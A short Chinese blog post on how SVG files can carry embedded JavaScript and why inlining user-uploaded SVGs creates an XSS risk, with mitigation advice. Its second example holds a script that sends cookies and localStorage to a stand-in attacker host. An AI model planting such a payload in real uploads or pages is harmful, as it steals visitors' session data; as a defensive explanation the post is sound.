SVG中的JavaScript

SVG JavaScript
2021-01-14 09:18:31
51 0 0

SVG是用于创建自定义字体,动画,尺寸减小的图形等的出色工具。它们既是HTML,又是图像,而且都很棒。由于SVG提供的灵活性,许多网站已转向SVG,而不是JPG,GIF和PNG。

这种灵活性的一个例子是什么?您是否知道可以将JavaScript直接嵌入到SVG文件中:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" 
stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    alert("Hello world");
</script>
</svg>

这是一个很酷的功能,但是如果按原样嵌入到页面中也是一个安全问题。例如,如果用户使用以下代码将SVG上传到您的网站:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" 
stroke-width="2" stroke-linejoin="round"/>
<path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
<script>
    //  BAD! Send the user's info to your website!
    const info = JSON.stringify([removed]) + JSON.stringify(localStorage);
    _document.location = "https://mybadsite.tld/stolenInfo=" + info;
</script>
</svg>

他们可以通过XSS窃取Cookie,存储空间和其他信息。那是个问题。防止这种情况的一种方法是将JavaScript从SVG中剥离出来,但是您也可以通过CSS嵌入as<img>或as background-image:

<img src="/path/to/image.svg" />

当您使用<img>或时background-image,将阻止执行JavaScript,从而使SVG相对安全!但是,您仍然应该清除SVG中的不良内容,并从其他主机名提供它们,以免共享cookie!

作者介绍

用微信扫一扫

收藏